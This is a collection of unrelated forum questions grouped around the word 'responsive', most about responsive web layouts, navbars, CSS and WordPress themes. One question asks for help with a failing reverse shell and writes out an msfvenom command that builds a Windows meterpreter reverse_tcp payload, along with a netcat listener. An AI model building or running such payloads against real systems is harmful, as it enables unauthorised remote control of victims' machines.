Are there pitfalls to implementing a hybrid site with both responsive layouts and dynamic serving layouts?

I have a 20 year old site that I want to upgrade to a responsive layout. Originally it was a desktop-only layout but when a significant portion of my user base went mobile I implemented dynamic serving layouts where I sniff the user agent and serve different HTML based on whether the user agent is for a mobile device or not.

I started to implement the responsive layouts, but I found that about 5% of my user base is on older browsers that don’t have all the CSS and JavaScript I would like to use. For example, only 95.42% of users fully support CSS grid layouts: https://caniuse.com/css-grid While I wouldn’t want to take the time to develop a site just 5% of my users, I already have a site that works for those users and I don’t want to lose that much of my traffic when I move to responsive.

My current plan is to still do server side tests based on the user agent like this pseudo code:

use responsive-layout if (bot)  use desktop-layout if (msie or firefox < 54 or chrome < 58  or edge < 16) use mobile-layout if (opera-mini or android-browser or samsung-internet < 5 or safari-mobile < 10.3) use responsive-layout otherwise 

Most of my users and search engine crawlers would get the responsive layout. Only specific non-capable and older browsers would get my existing static layouts.

I know that Google supports either responsive layouts or dynamic serving layouts but I haven’t been able to find any information about a hybrid approach like this. Are there any pitfalls (especially with regards to SEO) of mostly using responsive but falling back to dynamic serving for some browsers?

Why is my responsive navbar not styling?

I am making a flex box responsive navbar, or at least attempting to, and for some reason, none of my css styling is making any changes to my html coding.

I’ve even tried changing up my html. I’ve also attempted to take some templates I have and switching things out. They work on the template, but not for my site.

    <html lang=en>  <head>   <meta charset="UTF-8">   <title>Frame of Light Designs</title>  </head> <header>   <div class="header">     <img src="images/logo.jpg" alt="logo">   </div> </header>  <body>    <div class="main-nav">     <nav role="navigation" id="nav">       <input class="trigger" type"checkbox" id="mainNavButton">       <label for="mainNavButton" oneclick>Menu</label>       <ul>         <li><a href="#">Home</a></li>         <li><a href="#">About Us</a>           <ul>             <li><a href="#">Our Story</a></li>             <li><a href="#">Meet Our Family</a>               <ul>                 <li><a href="#">Benjamin Hodder</a></li>                 <li><a href="#">Philip R. McDavid</a></li>               </ul>             </li>             <li><a href="#">Why Us</a></li>           </ul>         </li>         <li><a href="#">Our Services</a>           <ul>             <li><a href="#">Floral Design</a>               <ul>                 <li><a href="#">Artistry and Competitions</a>                   <ul>                     <li><a href="#">Capital District Flower and Garden Show</a></li>                     <li><a href="#">Cathedral In Bloom</a></li>                   </ul>                 </li>                 <li><a href="#">Booths</a>                   <ul>                     <li><a href="#">Capital District Flower and Garden Show</a></li>                   </ul>                 </li>                 <li><a href="#">Client Pieces</a>                   <ul>                     <li><a href="#">Anniversary and Romance</a></li>                     <li><a href="#">Birthday</a></li>                     <li><a href="#">Congratulations</a></li>                     <li><a href="#">Event</a>                       <ul>                         <li><a href="#">Prom</a></li>                       </ul>                     </li>                     <li><a href="#">Everyday</a></li>                     <li><a href="#">Get Well</a></li>                     <li><a href="#">New Baby</a></li>                     <li><a href="#">Just Because</a></li>                     <li><a href="#">Parties and Celebrations</a></li>                     <li><a href="#">Sympathy</a></li>                     <li><a href="#">Thank You</a></li>                   </ul>                 </li>                 <li><a href="#">Flower Customization</a></li>                 <li><a href="#">Wedding</a></li>               </ul>             </li>             <li><a href="#">Photography</a>               <ul>                 <li><a href="#">Animals</a>                   <ul>                     <li><a href="#">Zoos</a>                       <ul>                         <li><a href="#">Cleveland Metroparks Zoo</a></li>                       </ul>                     </li>                   </ul>                 </li>                 <li><a href="#">Cars</a></li>                 <li><a href="#">Events</a></li>                 <li><a href="#">Fitness</a>                   <ul>                     <li><a href="#">Caprara Fitness</a></li>                   </ul>                 </li>                 <li><a href="#">Mechanical</a></li>                 <li><a href="#">Nature</a>                   <ul>                     <li><a href="#">Flowers</a>                       <ul>                         <li><a href="#">Orchids</a></li>                         <li><a href="#">Other</a></li>                       </ul>                     </li>                     <li><a href="#">Gardens</a>                       <ul>                         <li><a href="#">Hannaford Memorial Garden</a></li>                       </ul>                     </li>                   </ul>                 </li>                 <li><a href="#">People</a>                   <ul>                     <li><a href="#">Family Photos</a></li>                     <li><a href="#">Headshots</a></li>                   </ul>                 </li>                 <li><a href="#">Performances</a>                   <ul>                     <li><a href="#">Park Playhouse Theatre</a>                       <ul>                         <li><a href="#">The Music Man</a></li>                       </ul>                     </li>                   </ul>                 </li>                 <li><a href="#">Travel</a>                   <ul>                     <li><a href="#">New York</a></li>                     <li><a href="#">Ohio</a></li>                     <li><a href="#">Vermont</a></li>                   </ul>                 </li>               </ul>             <li><a href="#">Videography</a>               <ul>                 <li><a href="#">Advertisements</a></li>                 <li><a href="#">Booths</a></li>                 <li><a href="#">Client Pieces</a></li>                 <li><a href="#">Floral Shows and Competitions</a></li>               </ul>             </li>             <li><a href="#">Graphic Design</a>               <ul>                 <li><a href="#">Our Clientelle</a></li>               </ul>             </li>             <li><a href="#">Web Design</a>               <ul>                 <li><a href="#">Our Clientelle</a></li>               </ul>             </li>             <li><a href="#">Social Media and Digital Marketing</a>               <ul>                 <li><a href="#">Our Clientelle</a></li>               </ul>             </li>           </ul>         </li>         <li><a href="#">Contact Us</a></li>         <li><a href="#">Merch Store</a>       </ul>     </nav>   </div>  </body>  </html> 
/*  Header  */ .header {   background: linear-gradient(#adf5ff, #236a58);   height: 35vh;   text-align: center;   align-self: center;   padding: 0;   margin: 0; } .logo { }  /*  General Styling  */ html {   box-sizing: border-box; } body {   font-family: "miltonian tattoo";   margin: 0; }  /*  Navigation Bar  */ .main-nav {   position: relative;    ul {     display: none;     width: 100%;     list-style: none;     margin: 0px;     padding: 0px;      li {       a {         display: block;         padding: 1em;         background: $  secondaryColor;         color: $  flex_nav_linkColor;         text-decoration: none;         border-right: 1px solid $  flex_nav_borderColor;         &:hover {           background: $  flex_nav_hoverColor;         }       }       &:last-of-type {         a {           border-right: 0px;         }       }       // 2nd level       ul {         li {           a {             padding-left: 1.5em;           }           ul {             li {               a {                 padding-left: 3.125em;               }             }           }         }       }     } // li   } // ul    input.trigger {     position: absolute;     top: -9999px;     left: -9999px;     &:checked ~ ul,     &:checked ~ ul li ul {       display: block !important;       @media (min-width: $  flex_nav_breakpoint) {         /* older flexbox */         display: -webkit-box;         display: -moz-box;         display: box;         -webkit-box-orient: horizontal;         -moz-box-orient: horizontal;         box-orient: horizontal;          /* newer flexbox */         display: flex;         flex-direction: row;       }     }   }   label {     position: relative;     display: block;     min-height: 2em;     padding: 0.45em;     font-size: 1.1em;     margin: 0;     cursor: pointer;     background: $  tertiaryColor;     line-height: 2em;     color: lighten($  primaryColor, 80%);   }    label:after {     position: absolute;     right: 1em;     top: 0.2em;     content: "61";     font-size: 1.8em;     color: $  flex_nav_hotdogsColor;   }    @media (min-width: $  flex_nav_breakpoint) {     ul {       /* older flexbox */       //display:block;       display: -ms-flexbox;       flex-direction: -ms-row;       display: -webkit-box;       display: -moz-box;       display: box;        -webkit-box-orient: horizontal;       -moz-box-orient: horizontal;       box-orient: horizontal;        /* newer flexbox */       display: flex;       flex-direction: row;        li {         position: relative;         text-align: center;          /* older flexbox */         -ms-flex: 1;         -webkit-box-flex: 1;         -moz-box-flex: 1;         box-flex: 1;          /* newer flexbox */         flex: 1;          // 2nd level         ul {           display: none !important;           position: absolute;           top: 3.0625em;           left: 0;           display: block;           width: $  flex_nav_subNavWidth;           z-index: 200;           li {             text-align: left;             ul {               z-index: 300;               top: 0px;               left: ($  flex_nav_subNavWidth - 0.1);               li {                 a {                   padding-left: 30px !important;                 }               }             }           }         } // ul 2nd level          &:hover > ul {           display: block !important;         }       } // li     } // ul     label {       display: none;     }   } // breakpoint } // nav  

How to minimize CLS (Cumulative Layout Shift) for responsive layouts?

What are some suggestions for reducing content layout shift for responsive layouts?

From researching https://web.dev/cls: "Always include size attributes on your images and video elements, or otherwise reserve the required space with something like CSS aspect ratio boxes".

But with responsive layouts, the containers for images and other content change. So, do we need to reserve space for container divs, etc.?

How do you reserve space for these elements for responsive layouts?

How can we make the header responsive which can aline with Site Identity Block (generatepress)

if we want to make the header responsive which can aligned with Site Identity Block with or without (generatepress)? Found that generatepress is the "best" free theme for someone who want to use to develop their "own theme"
I plan to use wp to share some tutorial/personal note. most of them are text, only include image when really needed. Should I just use wp default themes which should be "better" than generatepress in term of SEO, and performance ? (this is my first site ever, when do we need an theme for wp ?)

enter image description here

enter image description here

Need to make sidebar responsive only when screen width is greater than 1024px

I’m new to WordPress and I want to make my sidebar responsive when the screen width is greater than 1024px. currently, the sidebar becomes responsive when the screen width is greater than 768px.

The website in concern is https://worklifeandmoney.com

I want to achieve this through additional CSS. I’m using the NewsUp theme. Any kind of help will be greatly appreciated. Thank you!

Update: I tried to make it work with flex but couldn’t succeed.

/* sidebar responsiveness */ @media (min-width: 1024px) .col-md-3 {     -ms-flex: 0 0 25%;     flex: 0 0 25%;     max-width: 25%; } 

printable responsive layout [closed]

I’m quite a newbie in web design. I’m starting off with a W3 template. Please see this one as illustration: https://www.w3schools.com/w3css/tryw3css_templates_food_blog.htm . I’m trying to implement media query to be able to print as the gridded image layout that is shown. However, this layout seems to force the images to become full page upon printing. I’ve consulted many explanations of how to implement @media print, however they do not seem to address what I need.

If someone could provide some insight that would be great.

Border of multiple details tags in one html row are not working responsive [closed]

I have a proble on my website: https://www.ars-neurochirurgica.com/ . I have several accordion menus which I made with pure css without any javascript and everything works perfect, except for one problem:

When I click on the categories to expand the tag, all other boxes which are collapsed with the detail tag which are on the same row will expand their border from the .div. Is there any way to fix this problem without using javascript? I tried to only draw the border if the details tag is open, however then I run into the problem that the border is smaller than the .div because it will be only assigned to the details tag. The best way would be to be able to select the parent element from the details[open] tag. However after doing some research that is not possible with css3 only. Anyone has ideas how to fix this problem? On mobile it works perfectly fine because only one row is displayed….

Here is an image of the problem: CSS Problem

responsive not working

I have responsive.css file, but the site is not responsive. I use bootstrap3 although I use the meta tag

when I minimize the browser to the size of tablet or mobile, responsive not working

even the nav menu links appears with the toggle button at the same time when I minimize the browser and all sections do not appear responsive.

please, what could be wrong?

MSF Venom Reverse TCP-Shell: Meterpreter and Netcat Listeners not responsive

I have created a MSFVenom TCP Reverse Shell Paypload that is executed on a Windows Machine:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.11.6.151 LPORT=4443 -f exe -o shell.exe 

In addition I am running a listener with Metasploit’s "multi/handler" or alternatively, a netcat listener:

nc -lvp 4443 

However, after executing the payload on the target machine, I cannot get a working shell. Neither on Meterpreter nor Netcat.

Meterpreter

Meterpreter does not respond to any command, or backgrounding. I cannot get the normal Meterpreter Shell.

Netcat Listener

There is also no shell appearing on Netcat.

Any help or suggestions are very appreciated!

Effect of Firefox’s “Responsive Design Mode” on the browser’s fingerprint

Today I switched ON the "Responsive Design Mode" under the "Web Developer" Section of the Firefox menu, and from the dropdown menu selected "iPhone X/XS iOS 12".

So now every webpage I visited was being sent the request that the screen size of my device was "375×812".

My question is that, can this method enhance my protection against browser fingerprinting(assuming I also take some other precautions)? Because the websites now wouldn’t be able to know my original aspect ratio/screen resolution, and above 2 iPhones are quite common too(I am using a laptop).

I earlier tried to scale the Firefox window to nearly the aspect ratio of a mobile phone, but that didn’t make any differnce at all.

Note:

(i) In the context of this question my adversaries are only the companies and their websites,and not the Governments & ISPs.

(ii) I am just asking about the effect of this method on my browser’s fingerprint, that is, whether it will increase or decrease the fingerprint. Be advised: I am not using this as the only method.

(iii) Firefox version: 78.0.2

(iv) OS: some linux distro.